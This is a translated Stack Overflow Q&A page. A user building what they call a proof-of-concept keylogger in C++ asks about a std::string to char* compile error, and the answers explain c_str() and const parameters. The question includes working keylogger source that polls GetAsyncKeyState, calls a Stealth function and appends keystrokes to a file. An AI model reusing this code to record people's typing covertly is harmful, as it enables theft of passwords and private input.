C++ 无法将参数 '2' 的 'std::string {aka std::basic_string<char>}' 转换为 'char*' 到 'int Save(int, char*)'

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/26782515/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-08-28 11:42:18  来源:igfitidea点击:

cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'

c++

提问by Mackedack

I'm currently working on a simple keylogger to prove a concept. But I keep getting this error:

我目前正在研究一个简单的键盘记录器来证明一个概念。但我不断收到此错误:

cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'

And yes, I have searched around, but none of them worked. I'm trying to read to a variable from a text file.

是的,我四处寻找,但没有一个起作用。我正在尝试从文本文件中读取变量。

How do I fix it? Code:

我如何解决它?代码:

int Save (int key_stroke, char *file);
int getFile (string file);
void Stealth();
string fileN;

int main()
{
    ifstream fN("c.txt");
    fN >> fileN;

    Stealth();
    char i;

    while (1)
    {
        for(i = 8; i <= 190; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
                Save (i,fileN);
        }
    }
    system ("PAUSE");
    return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
    if ( (key_stroke == 1) || (key_stroke == 2) )
        return 0;

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    cout << key_stroke << endl;

    if (key_stroke == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
        fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key_stroke);

    fclose (OUTPUT_FILE);
    return 0;
}

回答by Armen Tsirunyan

In order to get a C-style string from an std::string, use the c_str()member function. It will return a null-terminated const char *. Your function, however, seems to take char*. You could, of course, const_castthe pointer to get the char*but a far more reasonable approach would be for your function to take const char*or const std::string&in the first place.

为了从 中获取 C 风格的字符串std::string,请使用c_str()成员函数。它将返回一个以 null 结尾的const char *. 但是,您的功能似乎需要char*. 当然,您可以const_cast获取指针,char*但更合理的方法是让您的函数采用const char*const std::string&首先采用。

回答by Mike Seymour

As the error message says, you're trying to pass a std::stringto a function that expects a pointer to a character array.

正如错误消息所说,您正在尝试将 a 传递std::string给需要指向字符数组的指针的函数。

The best solution is to change the function to work with a string:

最好的解决方案是更改函数以使用字符串:

int Save (int key_stroke, const std::string & file);

and then extract a pointer when you need one

然后在需要时提取一个指针

fopen(file.c_str(), "a+");
          ^^^^^^^^

Alternatively, if you want to preserve the C-style aesthetic of your code, you could change the parameter type to const char *, and pass fileN.c_str()to it.

或者,如果您想保留代码的 C 风格美感,您可以将参数类型更改为const char *,然后传递fileN.c_str()给它。